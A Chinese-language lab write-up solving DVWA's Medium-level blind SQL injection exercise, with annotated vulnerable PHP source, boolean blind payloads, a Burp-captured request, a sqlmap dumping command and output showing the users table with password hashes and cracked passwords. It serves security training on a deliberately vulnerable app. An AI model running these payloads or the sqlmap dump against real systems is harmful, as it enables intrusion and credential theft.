DVWA靶场通关笔记-SQL盲注(SQL Injection Blind Medium级别)

目录

一、SQL盲注

二、代码审计(Medium级别)

1、index.php

2、Medium.php

3、渗透思路

(1)SQL安全问题分析

(2)SQL注入渗透思路

三、渗透准备

1、配置security为Medium级别。

2、配置字符集一致

四、渗透实战

1、判断注入类型

2、sqlmap渗透测试

(1)bp抓包

(2)sqlmap渗透


DVWA(Damn Vulnerable Web Application)中的 SQL Injection(Blind)布尔盲注关卡是用于练习和演示 SQL 盲注攻击的不同场景,不同安全等级存在不同的安全风险和绕过方法,本小节对中等级别的关卡进行渗透实战。

一、SQL盲注

SQL 盲注是 SQL 注入攻击的一种特殊形式,当应用程序执行 SQL 查询后不返回具体数据,但会通过页面显示状态差异(如返回内容是否存在、响应时间长短)间接暴露一些信息。攻击者无法直接看到查询结果,需通过构造包含逻辑条件(如AND/OR)或时间延迟(如sleep()函数)的SQL语句,逐次枚举来推断数据库内容。以布尔盲注为例,手工渗透步骤如下所示。

步骤 描述 示例
验证注入点 构造特殊输入,根据返回结果判断是否存在注入点 输入:id=1 or 1=1#,预期返回成功信息; 输入:id=1 or 1=2#,预期返回失败信息
枚举数据库名长度 通过比较数据库名长度来确定具体长度 id=1 AND LENGTH(DATABASE())=8 --(假设数据库名长度为 8)
枚举数据库名 逐字符猜测数据库名 id=1 AND SUBSTRING(DATABASE(),1,1)='d' # (猜测数据库名第一个字符为 'd')
枚举表名 判断指定表名是否存在 id=1 AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='users') #(判断是否存在名为 'users' 的表)
枚举列名 判断指定列名是否存在 id=1 AND EXISTS(SELECT username FROM users) # (判断 'users' 表中是否存在 'username' 列)
枚举数据 逐字符猜测元素的值 id=1 AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a' # (猜测 'users' 表中第一条记录的 'username' 列第一个字符为 'a')

二、代码审计(Medium级别)

1、index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码实现了这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL盲注演示页面的主控制器,根据用户设置的安全级别(低 / 中 / 高 / 安全)加载不同级别安全成都程度的代码,通过表单让用户输入或选择用户 ID,动态生成页面并展示查询结果,同时检测 PHP 不安全配置并提供 SQL 注入学习资源链接,用于演示不同防护等级下的盲注攻击场景及防御方式。

经过注释后的详细代码如下所示。

复制代码
<?php
// 定义网站根目录路径常量,用于后续文件引用
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面基础功能库
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 启动页面,验证用户是否已认证并初始化PHPIDS(入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面实例
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面ID,用于导航和标识
$page[ 'page_id' ] = 'sqli_blind';
// 添加帮助按钮和源代码按钮
$page[ 'help_button' ]   = 'sqli_blind';
$page[ 'source_button' ] = 'sqli_blind';

// 连接数据库
dvwaDatabaseConnect();

// 设置HTTP请求方法(默认为GET)
$method            = 'GET';
// 初始化安全风险级别对应的源文件
$vulnerabilityFile = '';

// 根据安全级别Cookie值选择不同级别的实现文件
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		// 低安全级别:存在明显SQL注入安全风险
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		// 中安全级别:部分防御措施,使用POST方法和下拉菜单
		$vulnerabilityFile = 'medium.php';
		$method = 'POST';
		break;
	case 'high':
		// 高安全级别:增强防御,但仍可能存在安全风险
		$vulnerabilityFile = 'high.php';
		break;
	default:
		// 安全模式:使用预处理语句,理论上无SQL注入风险
		$vulnerabilityFile = 'impossible.php';
		break;
}

// 引入选定的实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli_blind/source/{$vulnerabilityFile}";

// 检查PHP配置中的安全风险
$WarningHtml = '';
// 检测Magic Quotes是否启用(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测Safe Mode是否启用(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}

// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: SQL Injection (Blind)</h1>

	{$WarningHtml}

	<div class=\"vulnerable_code_area\">";

// 根据不同安全级别显示不同的用户交互界面
if( $vulnerabilityFile == 'high.php' ) {
	// 高级别安全:通过JavaScript弹窗设置用户ID
	$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('cookie-input.php');return false;\">here to change your ID</a>.";
}
else {
	// 低、中级别安全:显示表单让用户输入ID
	$page[ 'body' ] .= "
		<form action=\"#\" method=\"{$method}\">
			<p>
				User ID:";
				
	// 中级别安全:使用下拉菜单限制用户选择范围
	if( $vulnerabilityFile == 'medium.php' ) {
		$page[ 'body' ] .= "\n				<select name=\"id\">";
		// 查询用户数量用于生成下拉选项
		$query  = "SELECT COUNT(*) FROM users;";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
		$num    = mysqli_fetch_row( $result )[0];
		$i      = 0;
		// 动态生成下拉选项(1到用户总数)
		while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
		$page[ 'body' ] .= "</select>";
	}
	else
		// 低级别安全:允许用户自由输入
		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";

	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
			</p>\n";

	// 安全模式:添加CSRF防护令牌
	if( $vulnerabilityFile == 'impossible.php' )
		$page[ 'body' ] .= "			" . tokenField();

	$page[ 'body' ] .= "
		</form>";
}

// 显示查询结果(由引入对应级别的文件生成)
$page[ 'body' ] .= "
		{$html}
	</div>

	<h2>More Information</h2>
	<ul>
		// 提供SQL注入相关的参考链接
		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
	</ul>
</div>\n";

// 输出最终HTML页面
dvwaHtmlEcho( $page );

?>

2、Medium.php

进入DVWA靶场源目录,找到Medium.php源码。

打开源码low.php,分析可知这段代码实现了用户 ID 验证功能,如下所示。

对比low关卡,源码如下所示。

代码的功能如下所示。

  • 检查是否通过 POST 方法提交了表单。
  • 从 POST 参数中获取用户输入的 ID,并使用mysqli_real_escape_string函数进行转义处理。
  • 构建 SQL 查询语句,将转义后的用户输入 ID 拼接到 SQL 中,查询users表中是否存在该用户 ID。
  • 执行 SQL 查询,并获取查询结果的行数。
  • 根据查询结果行数判断用户是否存在,并返回相应的反馈信息。

不过代码具有SQL注入风险,具体如下所示。

  • 虽然使用了mysqli_real_escape_string函数对用户输入进行转义处理,但这种转义并非万无一失。如果攻击者能够绕过转义机制,仍然可以构造恶意的 SQL 语句。
  • 代码中没有对用户输入进行严格的格式验证,例如限制输入必须为数字等。这使得攻击者有可能输入非数字字符,从而导致 SQL 注入安全风险。

详细注释后的代码如下所示。

复制代码
<?php

// 检查是否通过POST方法提交了表单
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 从POST参数中获取用户输入的ID
    $id = $_POST[ 'id' ];
    // 使用mysqli_real_escape_string函数对用户输入的ID进行转义处理
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));

    // 构建SQL查询语句,将转义后的用户输入ID拼接到SQL中
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    // 执行SQL查询,移除了'or die'以隐藏数据库错误信息
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );

    // 获取查询结果的行数,使用@符号抑制可能出现的错误信息
    $num = @mysqli_num_rows( $result );

    // 根据查询结果行数判断用户是否存在
    if( $num > 0 ) {
        // 用户存在时的反馈信息
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // 用户不存在时的反馈信息
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    // 关闭数据库连接(此处代码被注释掉,实际未执行关闭操作)
    //mysql_close();
}

?>

3、渗透思路

(1)SQL 安全问题分析

本关卡具有布尔注入的可能性,原因如下所示。

  • 输入验证不严格:
    • 虽然使用了mysqli_real_escape_string函数对用户输入进行转义,但该函数并非绝对安全。如果攻击者能够找到绕过转义的方法,就可以构造恶意的 SQL 语句。
    • 代码没有对用户输入进行严格的格式验证,例如限制输入必须为数字。这使得攻击者可以输入非数字字符,从而为构造布尔注入语句提供了可能。
  • 基于布尔结果的反馈:
    • 代码根据查询结果的行数来返回不同的反馈信息,即如果查询到记录,返回 "User ID exists in the database.";如果未查询到记录,返回 "User ID is MISSING from the database."。
    • 攻击者可以利用这种布尔结果的反馈来判断注入语句是否成功。例如,构造一个条件语句,使得只有在满足特定条件时才会查询到记录,从而根据返回的反馈信息来推断条件是否成立。

(2)SQL注入 渗透思路

原始 SQL 语句: SELECT first_name, last_name FROM users WHERE user_id = $id;

注入语句:输入1 OR 1=1#会导致 SQL 变为如下内容。

SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1#;

由于1=1恒为真,且#注释掉后面的单引号,该查询会返回所有用户记录,是可以查询到记录的情况。

三、渗透准备

1、配置security为Medium级别。

进入到SQL Injection(Blind)关卡Medium页面,完整URL地址具体如下所示。

复制代码
http://192.168.59.1/dvwa/vulnerabilities/sqli/

2、配置字符集一致

参考SQL注入报错"Illegal mix of collations for operation 'UNION'"解决办法-CSDN博客

为避免使用联合注入法时报错"Illegal mix of collations for operation 'UNION'",修改dvwa数据库user表的first_name与last_name字符集,如下图所示。

修改dvwa数据库user表的password字符集,如下图所示。

四、渗透实战

1、判断注入类型

进入到SQL盲注medium关卡,相对于low关卡,不可以是自选输入,而只能是1-5,如下所示。

开启bp拦截,选择参数1,显示"User ID exists in the database.",如下所示。

由于报文是POST方式传递,为方便渗透,使用burpsuite进行后续渗透,使用bp抓到此报文,发送到repeater。

将报文发送到repeater,具体如下所示。

输入1 or 1=1#,没有显示所有列表,而是显示"User ID exists in the database."。

输入不存在的id,-1,显示"User ID is MISSING from the database",具体如下所示。

输入-1',这种会导致数据库报错的注入语句,仍然提示"User ID is MISSING from the database",具体如下所示。

说明这是布尔型注入,正确执行显示"User ID exists in the database.",错误时显示"User ID is MISSING from the database",这与源码分析的结果一致。

2、sqlmap渗透测试

(1)bp抓包

由于DVWA需要登录后才能使用,故而不可以直接是用sqlmap直接渗透,bp抓包,找到上一步渗透的报文,右键copy to file,具体如下所示。

将报文另存为sql-medium.txt,具体如下所示。

打开sql-medium.txt,修改为如下内容,注意在id赋值后面加上*,指明注入点的位置。

复制代码
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; PHPSESSID=tssqfshe2838kcg5nbkf4464u3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

id=1*#&Submit=Submit

(2)sqlmap渗透

注入命令如下所示,注意增加了参数not-string指明查询错误时的关键字。

复制代码
sqlmap -r sql-medium.txt --current-db --batch --dump --technique=B --not-string="MISSING"

渗透结果如下所示,成功获取到user表的所有内容。

复制代码
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 32 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2990=2990#&Submit=Submit
--- 
[09:46:25] [INFO] testing MySQL
[09:46:25] [INFO] confirming MySQL
[09:46:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.0
[09:46:26] [INFO] fetching current database
[09:46:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:46:26] [INFO] retrieved: dvwa
current database: 'dvwa'
[09:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[09:46:26] [INFO] fetching current database
[09:46:26] [INFO] fetching tables for database: 'dvwa'
[09:46:26] [INFO] fetching number of tables for database 'dvwa'
[09:46:26] [INFO] retrieved: 2
[09:46:28] [INFO] retrieved: guestbook
[09:46:30] [INFO] retrieved: users
[09:46:31] [INFO] fetching columns for table 'users' in database 'dvwa'
[09:46:31] [INFO] retrieved: 8
[09:46:31] [INFO] retrieved: user_id
[09:46:36] [INFO] retrieved: first_name
[09:46:38] [INFO] retrieved: last_name
[09:46:39] [INFO] retrieved: user
[09:46:40] [INFO] retrieved: password
[09:46:41] [INFO] retrieved: avatar
[09:46:43] [INFO] retrieved: last_login
[09:46:45] [INFO] retrieved: failed_login
[09:46:48] [INFO] fetching entries for table 'users' in database 'dvwa'
Database: dvwa                                                                                                                                                                                                                            
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                      | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3       | 1337    | /hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2025-05-15 09:56:46 | 0            |
| 1       | admin   | /hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2025-05-15 09:56:46 | 0            |
| 2       | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2025-05-15 09:56:46 | 0            |
| 4       | pablo   | /hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2025-05-15 09:56:46 | 0            |
| 5       | smithy  | /hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2025-05-15 09:56:46 | 0            |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
相关推荐
mooyuan天天5 天前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
mooyuan天天1 个月前
pikachu靶场通关笔记24 SQL注入07-http header注入
sql注入·pikachu靶场·sql注入漏洞·cookie注入·header注入
mooyuan天天1 个月前
Webug4.0靶场通关笔记03- 第3关SQL注入之时间盲注(手注法+脚本法 两种方法)
sql注入·sql注入漏洞·时间盲注·webug靶场·webug4靶场
SuperherRo1 个月前
Web攻防-SQL注入&数据库类型&用户权限&架构分层&符号干扰&利用过程&发现思路
sql注入·用户权限·数据库类型·架构分层·符号干扰·利用过程
mooyuan天天2 个月前
SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法
数据库·web安全·sql注入·dvwa靶场·sql报错
Le_ee2 个月前
sqli-labs靶场第七关——文件导出注入
数据库·sql·网络安全·php·sql注入·sqli—labs
mooyuan天天2 个月前
DVWA靶场通关笔记-SQL注入(SQL Injection Medium级别)
web安全·渗透测试·sql注入·sql注入漏洞·dvwa靶场
Le_ee2 个月前
sqli-labs靶场第二关——数字型
数据库·sql·网络安全·sql注入·sqli—labs
mooyuan天天2 个月前
Webug4.0通关笔记03- 第4关POST注入和第5关过滤注入
web安全·sql注入·webug靶场